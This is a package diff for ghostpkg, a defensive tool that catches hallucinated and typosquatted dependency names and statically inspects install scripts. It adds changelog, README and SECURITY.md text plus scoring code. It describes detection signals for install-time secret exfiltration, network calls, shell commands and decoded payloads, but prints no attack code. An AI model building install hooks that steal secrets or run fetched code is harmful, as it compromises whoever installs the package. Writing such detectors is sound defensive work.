ghostpkg 0.4.0__tar.gz → 0.6.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {ghostpkg-0.4.0 → ghostpkg-0.6.0}/CHANGELOG.md +78 -1
- {ghostpkg-0.4.0 → ghostpkg-0.6.0}/PKG-INFO +59 -6
- {ghostpkg-0.4.0 → ghostpkg-0.6.0}/README.en.md +58 -5
- {ghostpkg-0.4.0 → ghostpkg-0.6.0}/README.md +43 -5
- {ghostpkg-0.4.0 → ghostpkg-0.6.0}/SECURITY.md +21 -6
- {ghostpkg-0.4.0 → ghostpkg-0.6.0}/ghostpkg/__init__.py +1 -1
- {ghostpkg-0.4.0 → ghostpkg-0.6.0}/ghostpkg/assess.py +43 -5
- {ghostpkg-0.4.0 → ghostpkg-0.6.0}/ghostpkg/cli.py +29 -3
- ghostpkg-0.6.0/ghostpkg/inspection.py +214 -0
- {ghostpkg-0.4.0 → ghostpkg-0.6.0}/ghostpkg/registries.py +19 -1
- {ghostpkg-0.4.0 → ghostpkg-0.6.0}/pyproject.toml +1 -1
- {ghostpkg-0.4.0 → ghostpkg-0.6.0}/tests/test_assess.py +58 -0
- ghostpkg-0.6.0/tests/test_inspection.py +217 -0
- {ghostpkg-0.4.0 → ghostpkg-0.6.0}/.github/ISSUE_TEMPLATE/bug.yml +0 -0
- {ghostpkg-0.4.0 → ghostpkg-0.6.0}/.github/ISSUE_TEMPLATE/config.yml +0 -0
- {ghostpkg-0.4.0 → ghostpkg-0.6.0}/.github/ISSUE_TEMPLATE/false-positive.yml +0 -0
- {ghostpkg-0.4.0 → ghostpkg-0.6.0}/.github/ISSUE_TEMPLATE/missed-package.yml +0 -0
- {ghostpkg-0.4.0 → ghostpkg-0.6.0}/.github/workflows/ci.yml +0 -0
- {ghostpkg-0.4.0 → ghostpkg-0.6.0}/.gitignore +0 -0
- {ghostpkg-0.4.0 → ghostpkg-0.6.0}/CONTRIBUTING.md +0 -0
- {ghostpkg-0.4.0 → ghostpkg-0.6.0}/LICENSE +0 -0
- {ghostpkg-0.4.0 → ghostpkg-0.6.0}/assets/banner.html +0 -0
- {ghostpkg-0.4.0 → ghostpkg-0.6.0}/assets/banner.png +0 -0
- {ghostpkg-0.4.0 → ghostpkg-0.6.0}/assets/demo.gif +0 -0
- {ghostpkg-0.4.0 → ghostpkg-0.6.0}/assets/make_demo.py +0 -0
- {ghostpkg-0.4.0 → ghostpkg-0.6.0}/ghostpkg/__main__.py +0 -0
- {ghostpkg-0.4.0 → ghostpkg-0.6.0}/ghostpkg/cache.py +0 -0
- {ghostpkg-0.4.0 → ghostpkg-0.6.0}/ghostpkg/data.py +0 -0
- {ghostpkg-0.4.0 → ghostpkg-0.6.0}/ghostpkg/manifests.py +0 -0
- {ghostpkg-0.4.0 → ghostpkg-0.6.0}/tests/test_cache.py +0 -0
- {ghostpkg-0.4.0 → ghostpkg-0.6.0}/tests/test_manifests.py +0 -0
|
@@ -6,6 +6,81 @@ this project uses [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
|
|
6
6
|
|
|
7
7
|
## [Unreleased]
|
|
8
8
|
|
|
9
|
+
## [0.6.0] - 2026-09-01
|
|
10
|
+
|
|
11
|
+
### Fixed
|
|
12
|
+
- **Typo detection missed parked lookalikes, because age was the wrong gate.**
|
|
13
|
+
The check only ran on packages published within the last year, on the
|
|
14
|
+
reasoning that "an old lookalike is just a package with a similar name". That
|
|
15
|
+
reasoning was wrong. `expresss` has sat on npm since **2016** with one
|
|
16
|
+
release, no repository link, and roughly **2,500 downloads a month** arriving
|
|
17
|
+
purely from other people's typos. Ten years old, and waved straight through.
|
|
18
|
+
|
|
19
|
+
### Changed
|
|
20
|
+
- The typo check now also runs on packages that look **abandoned**: two or fewer
|
|
21
|
+
releases *and* no repository link, at any age.
|
|
22
|
+
|
|
23
|
+
The pairing is not a guess. Measured against 120 real packages that sit within
|
|
24
|
+
the typo budget of a popular name:
|
|
25
|
+
|
|
26
|
+
| Rule | Wrong about |
|
|
27
|
+
|---|---|
|
|
28
|
+
| Two or fewer releases, alone | 10.0% |
|
|
29
|
+
| No repository link, alone | 5.8% |
|
|
30
|
+
| **Both together** | **0.0%** |
|
|
31
|
+
|
|
32
|
+
Either condition alone is too loose because sibling packages in a family sit
|
|
33
|
+
naturally close together — `dagster-k8s` is two edits from `dagster-aws`, and
|
|
34
|
+
`pulumi-tls` from `pulumi-aws`. Those are maintained, so they carry releases
|
|
35
|
+
and a repository, and requiring both conditions leaves them alone.
|
|
36
|
+
|
|
37
|
+
- Warning text now says which condition fired, rather than calling a
|
|
38
|
+
ten-year-old package "recently published".
|
|
39
|
+
|
|
40
|
+
### Note
|
|
41
|
+
A defensively parked name still passes, which is correct: npm holds `lodahs`
|
|
42
|
+
itself and points it at `npm/security-holder`, so it has a repository link.
|
|
43
|
+
|
|
44
|
+
## [0.5.0] - 2026-09-01
|
|
45
|
+
|
|
46
|
+
### Added
|
|
47
|
+
- **`--deep`: static inspection of install-time code.** This addresses the
|
|
48
|
+
project's main open problem ([#1]) — a hallucinated name an attacker has
|
|
49
|
+
*already registered*. Such a package exists, so the existence check passes,
|
|
50
|
+
and it is young with one release and no repository link, exactly like every
|
|
51
|
+
honest new package. Age cannot separate them; install-time behaviour can,
|
|
52
|
+
because a slopsquat has to run something when it is installed.
|
|
53
|
+
- Signals reported: reading environment variables together with a network call,
|
|
54
|
+
a network request, a shell command, decoding a hidden blob, and executing code
|
|
55
|
+
that was just decoded or downloaded.
|
|
56
|
+
|
|
57
|
+
### How the policy was decided
|
|
58
|
+
The previous signal adopted on intuition — scoring packages by age — flagged
|
|
59
|
+
100% of legitimate same-day publications. So this one was measured first:
|
|
60
|
+
|
|
61
|
+
| Group | Flagged |
|
|
62
|
+
|---|---|
|
|
63
|
+
| 27 established legitimate packages | 0% |
|
|
64
|
+
| 32 packages published to PyPI that day | 0% |
|
|
65
|
+
| 6 known malicious install-script shapes | 6 of 6 |
|
|
66
|
+
|
|
67
|
+
That is why a **young** package with install-time signals is **blocked** while
|
|
68
|
+
age alone still only warns. An established package with the same signals is
|
|
69
|
+
warned about, not blocked.
|
|
70
|
+
|
|
71
|
+
The first pattern set was far looser and flagged 37% of established packages,
|
|
72
|
+
mostly for reading environment variables — ordinary when inspecting build
|
|
73
|
+
flags. It also scanned `conftest.py`, which runs during testing and never on
|
|
74
|
+
install. Both were mistakes found by measuring rather than by reasoning.
|
|
75
|
+
|
|
76
|
+
### Safety
|
|
77
|
+
Archives are read in memory and never extracted to disk; nothing is executed,
|
|
78
|
+
imported or compiled; downloads stop at 8 MB and members at 512 KB so a
|
|
79
|
+
decompression bomb cannot exhaust memory; any failure to fetch or parse means
|
|
80
|
+
"not inspected" rather than a pass.
|
|
81
|
+
|
|
82
|
+
[#1]: https://github.com/M1rwana12/ghostpkg/issues/1
|
|
83
|
+
|
|
9
84
|
## [0.4.0] - 2026-09-01
|
|
10
85
|
|
|
11
86
|
### Added
|
|
@@ -109,7 +184,9 @@ First release.
|
|
|
109
184
|
- No corpus of hallucinated package names is shipped, following the decision of
|
|
110
185
|
the USENIX'25 authors not to publish theirs.
|
|
111
186
|
|
|
112
|
-
[Unreleased]: https://github.com/M1rwana12/ghostpkg/compare/v0.
|
|
187
|
+
[Unreleased]: https://github.com/M1rwana12/ghostpkg/compare/v0.6.0...HEAD
|
|
188
|
+
[0.6.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.6.0
|
|
189
|
+
[0.5.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.5.0
|
|
113
190
|
[0.4.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.4.0
|
|
114
191
|
[0.3.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.3.0
|
|
115
192
|
[0.2.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.2.0
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.5
|
|
2
2
|
Name: ghostpkg
|
|
3
|
-
Version: 0.
|
|
3
|
+
Version: 0.6.0
|
|
4
4
|
Summary: Catch package names that do not exist before you install them
|
|
5
5
|
Project-URL: Homepage, https://github.com/m1rwana12/ghostpkg
|
|
6
6
|
Project-URL: Issues, https://github.com/m1rwana12/ghostpkg/issues
|
|
@@ -181,6 +181,7 @@ and report TOML keys as package names.
|
|
|
181
181
|
| `--json` | Machine-readable output for scripts and CI |
|
|
182
182
|
| `-q`, `--quiet` | Hide packages that passed |
|
|
183
183
|
| `--no-cache` | Neither read nor write the cache |
|
|
184
|
+
| `--deep` | Download recently published packages and statically inspect their install scripts |
|
|
184
185
|
| `--version` | Print the version |
|
|
185
186
|
|
|
186
187
|
### Exit codes
|
|
@@ -237,7 +238,7 @@ $ ghostpkg check somepkgthatisnotreal9911 --json
|
|
|
237
238
|
| First published < 1 year ago | 🟡 Warning | Weaker version of the same signal. |
|
|
238
239
|
| Only one release | 🟡 Warning | Squats are usually published once and abandoned. |
|
|
239
240
|
| No repository or homepage link | 🟡 Warning | Real projects almost always link to source. |
|
|
240
|
-
| 1–2 edits from a popular name, **and**
|
|
241
|
+
| 1–2 edits from a popular name, **and** the package is either recent **or** abandoned (≤2 releases and no repository link) | 🟡 Warning | Classic typosquat shape. A swap of adjacent characters counts as one edit, because `recat`/`react` is what squatters actually publish. Age alone was the wrong gate: `expresss` has sat on npm since 2016 with one release and ~2,500 typo-driven downloads a month. |
|
|
241
242
|
|
|
242
243
|
Warnings are advisory by default. Nothing but non-existence blocks unless you pass
|
|
243
244
|
`--strict`.
|
|
@@ -348,11 +349,62 @@ roughly one round trip rather than one per dependency.
|
|
|
348
349
|
|
|
349
350
|
---
|
|
350
351
|
|
|
352
|
+
## `--deep`: inspecting install scripts
|
|
353
|
+
|
|
354
|
+
The existence check cannot see the dangerous case — a name an attacker has
|
|
355
|
+
**already registered**. That package exists, so it passes; and it is young, with
|
|
356
|
+
one release and no repository link, which describes every honest new package
|
|
357
|
+
too. **Age cannot separate them.**
|
|
358
|
+
|
|
359
|
+
Install-time behaviour can. A slopsquat has to run something when it is
|
|
360
|
+
installed — that is the entire point of publishing it. An honest new library
|
|
361
|
+
almost never does.
|
|
362
|
+
|
|
363
|
+
```bash
|
|
364
|
+
ghostpkg scan requirements.txt --deep
|
|
365
|
+
```
|
|
366
|
+
|
|
367
|
+
`--deep` downloads the archive **only for recently published packages**, reads
|
|
368
|
+
only `setup.py` from it (or the install hooks out of `package.json`), and
|
|
369
|
+
pattern-matches the text. **Nothing is ever executed.** Archive and member sizes
|
|
370
|
+
are capped, so a decompression bomb cannot exhaust memory.
|
|
371
|
+
|
|
372
|
+
| Signal | What it means |
|
|
373
|
+
|---|---|
|
|
374
|
+
| `exfiltration` | Reads environment variables *and* contacts the network |
|
|
375
|
+
| `network` | Makes a network request during install |
|
|
376
|
+
| `subprocess` | Runs a shell command during install |
|
|
377
|
+
| `encoded-payload` | Decodes a hidden blob, or carries a large encoded string |
|
|
378
|
+
| `dynamic-exec` | Executes code it just decoded or downloaded |
|
|
379
|
+
|
|
380
|
+
### It was measured before it was allowed to block
|
|
381
|
+
|
|
382
|
+
The last signal adopted on intuition — score packages by age — flagged 100% of
|
|
383
|
+
legitimate same-day publications. So this one was measured first:
|
|
384
|
+
|
|
385
|
+
| Group | Flagged |
|
|
386
|
+
|---|---|
|
|
387
|
+
| 27 established legitimate packages | **0%** |
|
|
388
|
+
| 32 packages published to PyPI that day | **0%** |
|
|
389
|
+
| 6 known malicious install-script shapes | **6 of 6** |
|
|
390
|
+
|
|
391
|
+
That is why a **young** package with install-time signals is **blocked**, while
|
|
392
|
+
age alone can only ever warn. An established package showing the same signals is
|
|
393
|
+
warned about rather than blocked: old packages do sometimes build things at
|
|
394
|
+
install time, and the sample behind that judgement is small.
|
|
395
|
+
|
|
396
|
+
**Limits, stated plainly:** a squat that waits until import time rather than
|
|
397
|
+
install time will not be caught, obfuscation beyond the listed patterns will not
|
|
398
|
+
be caught, and packages published without an sdist cannot be inspected at all.
|
|
399
|
+
|
|
400
|
+
---
|
|
401
|
+
|
|
351
402
|
## Comparison
|
|
352
403
|
|
|
353
404
|
| | `ghostpkg` | SCA scanners (Snyk, Socket) | `pip install` alone |
|
|
354
405
|
|---|:---:|:---:|:---:|
|
|
355
406
|
| Catches a name that doesn't exist | ✅ **before install** | after install / in a PR | ❌ |
|
|
407
|
+
| Inspects install scripts without running them | ✅ `--deep` | varies | ❌ |
|
|
356
408
|
| Runs without an account | ✅ | ❌ | — |
|
|
357
409
|
| Runtime dependencies | **0** | many | — |
|
|
358
410
|
| Blocks legitimate new packages | ❌ **no** | varies | — |
|
|
@@ -368,10 +420,11 @@ earns its keep. Use both.
|
|
|
368
420
|
## Honest limitations
|
|
369
421
|
|
|
370
422
|
> [!WARNING]
|
|
371
|
-
> **The hard case is
|
|
372
|
-
> **already registered**
|
|
373
|
-
>
|
|
374
|
-
>
|
|
423
|
+
> **The hard case is partly addressed by `--deep`, not solved.** A hallucinated
|
|
424
|
+
> name an attacker has **already registered** passes the existence check.
|
|
425
|
+
> `--deep` looks at install-time behaviour and catches the usual shapes, but an
|
|
426
|
+
> attacker who does nothing during install will still get through. Discussion in
|
|
427
|
+
> [#1](https://github.com/M1rwana12/ghostpkg/issues/1).
|
|
375
428
|
|
|
376
429
|
- Typo detection compares against the 2,000 most-downloaded projects in each
|
|
377
430
|
ecosystem, so a squat on a less popular package won't be flagged as a lookalike.
|
|
@@ -134,6 +134,7 @@ and report TOML keys as package names.
|
|
|
134
134
|
| `--json` | Machine-readable output for scripts and CI |
|
|
135
135
|
| `-q`, `--quiet` | Hide packages that passed |
|
|
136
136
|
| `--no-cache` | Neither read nor write the cache |
|
|
137
|
+
| `--deep` | Download recently published packages and statically inspect their install scripts |
|
|
137
138
|
| `--version` | Print the version |
|
|
138
139
|
|
|
139
140
|
### Exit codes
|
|
@@ -190,7 +191,7 @@ $ ghostpkg check somepkgthatisnotreal9911 --json
|
|
|
190
191
|
| First published < 1 year ago | 🟡 Warning | Weaker version of the same signal. |
|
|
191
192
|
| Only one release | 🟡 Warning | Squats are usually published once and abandoned. |
|
|
192
193
|
| No repository or homepage link | 🟡 Warning | Real projects almost always link to source. |
|
|
193
|
-
| 1–2 edits from a popular name, **and**
|
|
194
|
+
| 1–2 edits from a popular name, **and** the package is either recent **or** abandoned (≤2 releases and no repository link) | 🟡 Warning | Classic typosquat shape. A swap of adjacent characters counts as one edit, because `recat`/`react` is what squatters actually publish. Age alone was the wrong gate: `expresss` has sat on npm since 2016 with one release and ~2,500 typo-driven downloads a month. |
|
|
194
195
|
|
|
195
196
|
Warnings are advisory by default. Nothing but non-existence blocks unless you pass
|
|
196
197
|
`--strict`.
|
|
@@ -301,11 +302,62 @@ roughly one round trip rather than one per dependency.
|
|
|
301
302
|
|
|
302
303
|
---
|
|
303
304
|
|
|
305
|
+
## `--deep`: inspecting install scripts
|
|
306
|
+
|
|
307
|
+
The existence check cannot see the dangerous case — a name an attacker has
|
|
308
|
+
**already registered**. That package exists, so it passes; and it is young, with
|
|
309
|
+
one release and no repository link, which describes every honest new package
|
|
310
|
+
too. **Age cannot separate them.**
|
|
311
|
+
|
|
312
|
+
Install-time behaviour can. A slopsquat has to run something when it is
|
|
313
|
+
installed — that is the entire point of publishing it. An honest new library
|
|
314
|
+
almost never does.
|
|
315
|
+
|
|
316
|
+
```bash
|
|
317
|
+
ghostpkg scan requirements.txt --deep
|
|
318
|
+
```
|
|
319
|
+
|
|
320
|
+
`--deep` downloads the archive **only for recently published packages**, reads
|
|
321
|
+
only `setup.py` from it (or the install hooks out of `package.json`), and
|
|
322
|
+
pattern-matches the text. **Nothing is ever executed.** Archive and member sizes
|
|
323
|
+
are capped, so a decompression bomb cannot exhaust memory.
|
|
324
|
+
|
|
325
|
+
| Signal | What it means |
|
|
326
|
+
|---|---|
|
|
327
|
+
| `exfiltration` | Reads environment variables *and* contacts the network |
|
|
328
|
+
| `network` | Makes a network request during install |
|
|
329
|
+
| `subprocess` | Runs a shell command during install |
|
|
330
|
+
| `encoded-payload` | Decodes a hidden blob, or carries a large encoded string |
|
|
331
|
+
| `dynamic-exec` | Executes code it just decoded or downloaded |
|
|
332
|
+
|
|
333
|
+
### It was measured before it was allowed to block
|
|
334
|
+
|
|
335
|
+
The last signal adopted on intuition — score packages by age — flagged 100% of
|
|
336
|
+
legitimate same-day publications. So this one was measured first:
|
|
337
|
+
|
|
338
|
+
| Group | Flagged |
|
|
339
|
+
|---|---|
|
|
340
|
+
| 27 established legitimate packages | **0%** |
|
|
341
|
+
| 32 packages published to PyPI that day | **0%** |
|
|
342
|
+
| 6 known malicious install-script shapes | **6 of 6** |
|
|
343
|
+
|
|
344
|
+
That is why a **young** package with install-time signals is **blocked**, while
|
|
345
|
+
age alone can only ever warn. An established package showing the same signals is
|
|
346
|
+
warned about rather than blocked: old packages do sometimes build things at
|
|
347
|
+
install time, and the sample behind that judgement is small.
|
|
348
|
+
|
|
349
|
+
**Limits, stated plainly:** a squat that waits until import time rather than
|
|
350
|
+
install time will not be caught, obfuscation beyond the listed patterns will not
|
|
351
|
+
be caught, and packages published without an sdist cannot be inspected at all.
|
|
352
|
+
|
|
353
|
+
---
|
|
354
|
+
|
|
304
355
|
## Comparison
|
|
305
356
|
|
|
306
357
|
| | `ghostpkg` | SCA scanners (Snyk, Socket) | `pip install` alone |
|
|
307
358
|
|---|:---:|:---:|:---:|
|
|
308
359
|
| Catches a name that doesn't exist | ✅ **before install** | after install / in a PR | ❌ |
|
|
360
|
+
| Inspects install scripts without running them | ✅ `--deep` | varies | ❌ |
|
|
309
361
|
| Runs without an account | ✅ | ❌ | — |
|
|
310
362
|
| Runtime dependencies | **0** | many | — |
|
|
311
363
|
| Blocks legitimate new packages | ❌ **no** | varies | — |
|
|
@@ -321,10 +373,11 @@ earns its keep. Use both.
|
|
|
321
373
|
## Honest limitations
|
|
322
374
|
|
|
323
375
|
> [!WARNING]
|
|
324
|
-
> **The hard case is
|
|
325
|
-
> **already registered**
|
|
326
|
-
>
|
|
327
|
-
>
|
|
376
|
+
> **The hard case is partly addressed by `--deep`, not solved.** A hallucinated
|
|
377
|
+
> name an attacker has **already registered** passes the existence check.
|
|
378
|
+
> `--deep` looks at install-time behaviour and catches the usual shapes, but an
|
|
379
|
+
> attacker who does nothing during install will still get through. Discussion in
|
|
380
|
+
> [#1](https://github.com/M1rwana12/ghostpkg/issues/1).
|
|
328
381
|
|
|
329
382
|
- Typo detection compares against the 2,000 most-downloaded projects in each
|
|
330
383
|
ecosystem, so a squat on a less popular package won't be flagged as a lookalike.
|
|
@@ -103,6 +103,7 @@ ghostpkg clear-cache
|
|
|
103
103
|
| `--json` | Вивід у JSON для скриптів і CI |
|
|
104
104
|
| `-q`, `--quiet` | Ховає пакети, які пройшли перевірку |
|
|
105
105
|
| `--no-cache` | Не читати й не писати кеш |
|
|
106
|
+
| `--deep` | Завантажити свіжі пакети й статично перевірити їхні скрипти встановлення |
|
|
106
107
|
|
|
107
108
|
`scan` розпізнає `requirements*.txt`, `pyproject.toml` (PEP 621 і Poetry)
|
|
108
109
|
та `package.json`. Невідомий формат він **відхиляє з помилкою, а не вгадує**.
|
|
@@ -117,7 +118,7 @@ ghostpkg clear-cache
|
|
|
117
118
|
| Опубліковано днями тому | 🟡 Попередження. Зловмисники реєструють швидко — але й чесні автори теж. |
|
|
118
119
|
| Лише один реліз | 🟡 Попередження. |
|
|
119
120
|
| Немає посилання на репозиторій | 🟡 Попередження. |
|
|
120
|
-
| За один-два символи від популярної
|
|
121
|
+
| За один-два символи від популярної назви, **і** пакет свіжий **або** занедбаний (≤2 релізи й немає репозиторію) | 🟡 Попередження. Схоже на typosquat. |
|
|
121
122
|
|
|
122
123
|
---
|
|
123
124
|
|
|
@@ -149,6 +150,42 @@ $ ghostpkg check react-router-dom-utils -e npm
|
|
|
149
150
|
|
|
150
151
|
---
|
|
151
152
|
|
|
153
|
+
## `--deep`: перевірка скриптів встановлення
|
|
154
|
+
|
|
155
|
+
Перевірка існування не бачить найнебезпечнішого випадку — імені, яке зловмисник
|
|
156
|
+
**уже зареєстрував**. Такий пакет існує, тож проходить; він молодий, з одним
|
|
157
|
+
релізом і без репозиторію — як і будь-який чесний новий пакет. **Вік їх не розрізняє.**
|
|
158
|
+
|
|
159
|
+
Поведінка при встановленні — розрізняє. Слопсквот мусить щось виконати під час
|
|
160
|
+
встановлення, інакше в ньому немає сенсу. Чесна нова бібліотека цього майже ніколи
|
|
161
|
+
не робить.
|
|
162
|
+
|
|
163
|
+
```bash
|
|
164
|
+
ghostpkg scan requirements.txt --deep
|
|
165
|
+
```
|
|
166
|
+
|
|
167
|
+
`--deep` завантажує архів **лише для свіжих пакетів**, читає з нього тільки
|
|
168
|
+
`setup.py` (або скрипти встановлення з `package.json`) і зіставляє текст із
|
|
169
|
+
шаблонами. **Нічого не виконується.** Розмір архіва обмежений, тож бомба
|
|
170
|
+
розпакування не з'їсть пам'ять.
|
|
171
|
+
|
|
172
|
+
Що вважається сигналом: читання змінних середовища разом із мережевим запитом,
|
|
173
|
+
мережевий запит, запуск оболонки, розкодування прихованого блоба, виконання
|
|
174
|
+
щойно розкодованого коду.
|
|
175
|
+
|
|
176
|
+
**Виміряно перед тим, як вмикати блокування:**
|
|
177
|
+
|
|
178
|
+
| Група | Позначено |
|
|
179
|
+
|---|---|
|
|
180
|
+
| 27 усталених легітимних пакетів | **0 %** |
|
|
181
|
+
| 32 пакети, опубліковані того ж дня | **0 %** |
|
|
182
|
+
| 6 відомих шкідливих шаблонів | **6 з 6** |
|
|
183
|
+
|
|
184
|
+
Для порівняння: вік позначав **100 %** свіжих легітимних пакетів. Саме тому
|
|
185
|
+
молодий пакет із такими сигналами **блокується**, а вік — лише попереджає.
|
|
186
|
+
|
|
187
|
+
---
|
|
188
|
+
|
|
152
189
|
## Порівняння
|
|
153
190
|
|
|
154
191
|
| | `ghostpkg` | SCA-сканери (Snyk, Socket) | Просто `pip install` |
|
|
@@ -167,10 +204,11 @@ $ ghostpkg check react-router-dom-utils -e npm
|
|
|
167
204
|
## Чесні обмеження
|
|
168
205
|
|
|
169
206
|
> [!WARNING]
|
|
170
|
-
> **Складний випадок
|
|
171
|
-
> **уже зареєстрував**, перевірка існування
|
|
172
|
-
>
|
|
173
|
-
>
|
|
207
|
+
> **Складний випадок частково закрито прапорцем `--deep`, але не повністю.**
|
|
208
|
+
> Вигадану назву, яку зловмисник **уже зареєстрував**, перевірка існування
|
|
209
|
+
> пропустить. `--deep` дивиться на поведінку при встановленні й ловить типові
|
|
210
|
+
> шаблони, але зловмисник, який нічого не робить під час встановлення, пройде.
|
|
211
|
+
> Обговорення — [#1](https://github.com/M1rwana12/ghostpkg/issues/1).
|
|
174
212
|
|
|
175
213
|
- Виявлення опечаток порівнює з 2 000 найпопулярніших проєктів кожної екосистеми,
|
|
176
214
|
тому підробка під менш популярний пакет як схожа назва не позначиться.
|
|
@@ -20,13 +20,17 @@ what it does and does not protect against.
|
|
|
20
20
|
|
|
21
21
|
### What it does not catch
|
|
22
22
|
|
|
23
|
-
- **A hallucinated name an attacker has already registered
|
|
24
|
-
|
|
25
|
-
|
|
23
|
+
- **A hallucinated name an attacker has already registered, when `--deep` is
|
|
24
|
+
off.** The existence check passes and only advisory warnings remain. With
|
|
25
|
+
`--deep`, install-time code is statically inspected and the usual malicious
|
|
26
|
+
shapes are caught, which measured 0 false positives across 27 established and
|
|
27
|
+
32 same-day packages while catching all 6 test shapes.
|
|
28
|
+
- **Even with `--deep`:** a squat whose payload runs at *import* time rather than
|
|
29
|
+
install time, obfuscation beyond the documented patterns, and any package
|
|
30
|
+
published without an sdist, which cannot be inspected.
|
|
26
31
|
- Malicious code in a package that is otherwise legitimate and established.
|
|
27
32
|
- Compromise of an existing maintainer account.
|
|
28
|
-
-
|
|
29
|
-
downloads, unpacks or executes a package.
|
|
33
|
+
- Malicious behaviour at *runtime*. `--deep` reads install-time code only.
|
|
30
34
|
|
|
31
35
|
### Failure mode
|
|
32
36
|
|
|
@@ -34,9 +38,20 @@ If a registry is unreachable, `ghostpkg` exits with code `2` rather than passing
|
|
|
34
38
|
silently. A network failure will fail your build. That is deliberate: a security
|
|
35
39
|
check that quietly succeeds when it could not run is worse than no check.
|
|
36
40
|
|
|
41
|
+
### How `--deep` handles untrusted archives
|
|
42
|
+
|
|
43
|
+
- Archives are read **in memory**, never extracted to disk, so a path-traversal
|
|
44
|
+
entry has nothing to write to.
|
|
45
|
+
- **Nothing is executed, imported or compiled.** Only named install-time files
|
|
46
|
+
are read, and only as text.
|
|
47
|
+
- Downloads stop at 8 MB and individual members at 512 KB, so a decompression
|
|
48
|
+
bomb cannot exhaust memory.
|
|
49
|
+
- Any failure to download or parse means "not inspected", never a pass.
|
|
50
|
+
|
|
37
51
|
### Trust boundaries
|
|
38
52
|
|
|
39
|
-
- Requests go only to `pypi.org
|
|
53
|
+
- Requests go only to `pypi.org`, `files.pythonhosted.org` and
|
|
54
|
+
`registry.npmjs.org` over HTTPS.
|
|
40
55
|
- No telemetry, no analytics, no phoning home.
|
|
41
56
|
- No runtime dependencies, so the tool's own supply chain is the Python standard
|
|
42
57
|
library.
|
|
@@ -134,7 +134,26 @@ def nearest_popular(name: str, ecosystem: str = "pypi") -> tuple[str, int] | Non
|
|
|
134
134
|
return best
|
|
135
135
|
|
|
136
136
|
|
|
137
|
-
def assess(
|
|
137
|
+
def assess(
|
|
138
|
+
facts: PackageFacts,
|
|
139
|
+
strict: bool = False,
|
|
140
|
+
signals: "list | None" = None,
|
|
141
|
+
) -> Finding:
|
|
142
|
+
"""Turn registry facts, and optionally --deep install-script signals, into
|
|
143
|
+
a verdict.
|
|
144
|
+
|
|
145
|
+
Install-time signals are treated differently from every other soft signal,
|
|
146
|
+
and the difference is measured rather than assumed. Age flags 100% of
|
|
147
|
+
legitimate same-day publications, so it can only ever warn. Install-time
|
|
148
|
+
behaviour flagged 0 of 27 established and 0 of 32 brand-new real packages
|
|
149
|
+
while catching all six known malicious shapes, so a *young* package that
|
|
150
|
+
reaches for the network, a subprocess or a decoded payload during install
|
|
151
|
+
is specific enough to block.
|
|
152
|
+
|
|
153
|
+
An established package doing the same is only warned about: legitimate
|
|
154
|
+
old packages do sometimes build things at install time, and the sample
|
|
155
|
+
behind that judgement is small.
|
|
156
|
+
"""
|
|
138
157
|
if not facts.exists:
|
|
139
158
|
return Finding(
|
|
140
159
|
name=facts.name,
|
|
@@ -154,13 +173,27 @@ def assess(facts: PackageFacts, strict: bool = False) -> Finding:
|
|
|
154
173
|
|
|
155
174
|
is_young = facts.age_days is not None and facts.age_days < NEW_DAYS
|
|
156
175
|
|
|
157
|
-
|
|
176
|
+
# A parked lookalike is not necessarily new. `expresss` has sat on npm since
|
|
177
|
+
# 2016 with one release, no repository link, and roughly 2,500 downloads a
|
|
178
|
+
# month arriving purely from other people's typos. Age was the wrong gate.
|
|
179
|
+
#
|
|
180
|
+
# Abandonment is the right one, but only as a pair. Measured against 120 real
|
|
181
|
+
# packages that sit within the typo budget of a popular name, "few releases"
|
|
182
|
+
# alone was wrong 10% of the time and "no repository link" alone 5.8%, while
|
|
183
|
+
# requiring both was wrong 0% of the time. That matters because sibling
|
|
184
|
+
# packages in a family are naturally close together -- dagster-k8s is two
|
|
185
|
+
# edits from dagster-aws, pulumi-tls from pulumi-aws -- and they are
|
|
186
|
+
# maintained, so they carry releases and a repository.
|
|
187
|
+
looks_abandoned = facts.release_count <= 2 and not facts.has_repo_url
|
|
188
|
+
|
|
189
|
+
if is_young or looks_abandoned:
|
|
158
190
|
neighbour = nearest_popular(facts.name, facts.ecosystem)
|
|
159
191
|
if neighbour is not None:
|
|
160
192
|
popular_name, distance = neighbour
|
|
193
|
+
character = "character" if distance == 1 else "characters"
|
|
194
|
+
context = "recently published" if is_young else "one release, no repository"
|
|
161
195
|
reasons.append(
|
|
162
|
-
f"{distance} character
|
|
163
|
-
f"'{popular_name}', and recently published"
|
|
196
|
+
f"{distance} {character} away from '{popular_name}', and {context}"
|
|
164
197
|
)
|
|
165
198
|
|
|
166
199
|
if is_young and facts.release_count <= 1:
|
|
@@ -169,7 +202,12 @@ def assess(facts: PackageFacts, strict: bool = False) -> Finding:
|
|
|
169
202
|
if is_young and not facts.has_repo_url:
|
|
170
203
|
reasons.append("no repository or homepage link")
|
|
171
204
|
|
|
172
|
-
|
|
205
|
+
install_reasons = [str(signal) for signal in (signals or [])]
|
|
206
|
+
reasons.extend(install_reasons)
|
|
207
|
+
|
|
208
|
+
if install_reasons and is_young:
|
|
209
|
+
verdict = Verdict.BLOCK
|
|
210
|
+
elif not reasons:
|
|
173
211
|
verdict = Verdict.OK
|
|
174
212
|
elif strict:
|
|
175
213
|
verdict = Verdict.BLOCK
|
|
@@ -10,8 +10,9 @@ import sys
|
|
|
10
10
|
from pathlib import Path
|
|
11
11
|
|
|
12
12
|
from . import __version__
|
|
13
|
-
from .assess import Finding, Verdict, assess
|
|
13
|
+
from .assess import NEW_DAYS, Finding, Verdict, assess
|
|
14
14
|
from .cache import Cache
|
|
15
|
+
from .inspection import InspectionError, inspect_package
|
|
15
16
|
from .manifests import UnsupportedManifest, load_manifest
|
|
16
17
|
from .registries import RegistryError, fetch
|
|
17
18
|
|
|
@@ -95,6 +96,7 @@ def evaluate(
|
|
|
95
96
|
ecosystem: str,
|
|
96
97
|
strict: bool,
|
|
97
98
|
cache: Cache | None = None,
|
|
99
|
+
deep: bool = False,
|
|
98
100
|
) -> list[Finding]:
|
|
99
101
|
def one(name: str) -> Finding:
|
|
100
102
|
